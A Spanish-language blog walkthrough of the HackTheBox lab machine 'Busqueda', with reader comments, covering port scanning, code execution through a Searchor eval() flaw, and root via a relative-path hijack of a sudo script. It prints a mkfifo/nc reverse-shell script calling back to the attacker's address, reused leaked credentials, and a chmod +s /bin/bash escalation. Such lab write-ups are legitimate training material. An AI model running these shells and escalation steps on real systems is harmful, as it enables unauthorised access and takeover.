Búsqueda es una máquina de dificultad fácil de la plataforma de HTB. Accederemos a la web mediante una ejecución arbitraria de código a través de una vulnerabilidad en el repositorio de GitHub. Para escalar privilegios accederemos a Gitea, leeremos el código de un script que podemos ejecutar como root y cambiaremos los permisos de la bash a SUID con la creación de un archivo.

Enumeración

Escaneo de puertos

Realizamos un escaneo inicial para obtener cuáles son los puertos abiertos sobre la máquina víctima.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.63.163 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-08 21:17 CEST
Initiating SYN Stealth Scan at 21:17
Scanning 10.129.63.163 [65535 ports]
Discovered open port 22/tcp on 10.129.63.163
Discovered open port 80/tcp on 10.129.63.163
Completed SYN Stealth Scan at 21:17, 13.99s elapsed (65535 total ports)
Nmap scan report for 10.129.63.163
Host is up, received user-set (0.066s latency).
Scanned at 2023-04-08 21:17:14 CEST for 13s
Not shown: 65331 closed ports, 202 filtered ports
Reason: 65331 resets and 202 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.17 seconds
           Raw packets sent: 69979 (3.079MB) | Rcvd: 66932 (2.677MB)

Podemos ver que tenemos 2 puertos abiertos: el 22 (SSH) y el 80 (Web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Escaneamos los servicios y versiones que se están ejecutando en los puertos abiertos.

❯ nmap -p22,80 -sCV 10.129.63.163 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-08 21:19 CEST
Nmap scan report for 10.129.63.163
Host is up (0.066s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds

Gracias al escaneo podemos saber que la máquina tiene el dominio searcher.htb así que lo añadimos en el /etc/hosts.

Visitamos la web de la máquina.

HTB

Al final de la web podemos ver que está hecha con el siguiente repositorio de GitHub Searchor. En la web básicamente lo que podemos hacer es buscar algo con cualquier buscador e incluso podemos hacer que nos redirija automáticamente.

Abrimos el burpsuite y capturamos la petición.

Intrusión

Si buscamos alguna vulnerabilidad encontraremos una, en concreto una ejecución arbitraria de código. Mediante eval podríamos ejecutar código en python. Sabiendo esto creamos un archivo en bash para poder entablarnos una reverse shell.

❯ ncat rev.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.85 4444 >/tmp/f

Ponemos un servidor web en el puerto 80.

❯ sudo python3 -m http.server 80
[sudo] contraseña para mrx: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Nos ponemos en escucha por el puerto 4444.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444

Mediante burpsuite enviamos una petición haciendo uso del eval y python para que se descargue nuestra reverse shell.

Obtenemos la petición del archivo.

❯ sudo python3 -m http.server 80
[sudo] contraseña para mrx: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.63.163 - - [08/Apr/2023 21:49:45] "GET /rev.sh HTTP/1.1" 200 -

Y obtenemos también la reverse shell y leemos la flag.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.63.163 58258
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
$ cat /home/svc/user.txt
2ac1b522ea7b5f6e443883d742d27d31

Encontramos un directorio .git en la ruta de la web, si leemos el archivo config descubriremos un usuario, contraseña pero también el subdominio de gitea.searcher.htb

svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Apr  9 21:16 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1 14:35 templates
svc@busqueda:/var/www/app$ cd .git
svc@busqueda:/var/www/app/.git$ ls
branches        config       HEAD   index  logs     refs
COMMIT_EDITMSG  description  hooks  info   objects
svc@busqueda:/var/www/app/.git$ cat config 
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:[email protected]/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
svc@busqueda:/var/www/app/.git$

Reutilizamos la contraseña para saber que permisos SUDO tiene el usuario svc.

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:~$

No podemos, leer el archivo pero podemos ver algunos de los parámetros.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Si recordamos, antes habíamos encontrado un puerto bastaste interesante así que nos lo traemos a nuestra máquina.

❯ ssh -L 3000:127.0.0.1:3000 [email protected]

Si vistamos la página es una gitea, iniciamos sesión con las credenciales de antes.

Con el usuario cody no encontramos nada así que miramos de encontrar las credenciales del administrador. Gracias al script podemos realizar una petición a la base de datos y la reutilizamos para el usuario administrador.

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' mysql_db
--format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}

En un repositorio encontramos varios archivos uno de ellos el que podemos ejecutar como root. El archivo contiene lo siguiente.

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output

def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 

        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)

        except Exception as e:
            print('Something went wrong')
            exit(1)

    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 

        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

Por lo que podemos ver en el script si creamos un archivo con el nombre de full-checkup.sh lo ejecutará, ya que buscará primero si existe en la ruta en la que estemos.

Escalada de privilegios

Creamos un archivo en bash para cambiar los permisos de la bash a SUID.

#!/bin/bash 
chmod +s /bin/bash

Le damos permiso de y ejecutamos el script pasándole el nombre del archivo creado para así convertirnos en root y poder leer la flag.

svc@busqueda:/tmp$ cat full-checkup.sh
svc@busqueda:/tmp$ chmod +x full-checkup.sh 
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /bin/bash
svc@busqueda:/tmp$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
7d81086647c8095b6916e9cb66f1a104
bash-5.1#
10 thoughts on “Busqueda – HTB”
        1. Sería este fragmento de código ”
          elif action == ‘full-checkup’:
          try:
          arg_list = [‘./full-checkup.sh’]
          print(run_command(arg_list))
          print(‘[+] Done!’)
          except:
          print(‘Something went wrong’)
          exit(1)”

  1. no me queda claro que hay que hacer para obtener la conexion a traves del eval().
    Por más que intento enviarla a traves de brup no me establece la conexion de la reverse shell ni obtiene el rev.sh

    1. Debes crear un archivo .sh para cambiar los permisos de la bash en el directorio /tmp, darle permisos de ejecución y ejecutar el “sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup”

  2. Hola, soy nuevo en esto del hacking etico y tengo estas dudas:

    1.- No entiendo como generas la url de la eval. Cual es la url que envias al parametro query? Entiendo que es como hacer un http://localhost/rev.sh no?

    2.- No llego a entender como encuentras la vulnerabiladad con el eval(). Se que sirve una funcion que evalua cosas pero no llego a entender como lo ves. Tampoco encuentro ese fragmento de codigo en el repositorio de git.

    Si alguien me puede iluminar se lo agradecería!
    Gracias!

Leave a Reply

Your email address will not be published. Required fields are marked *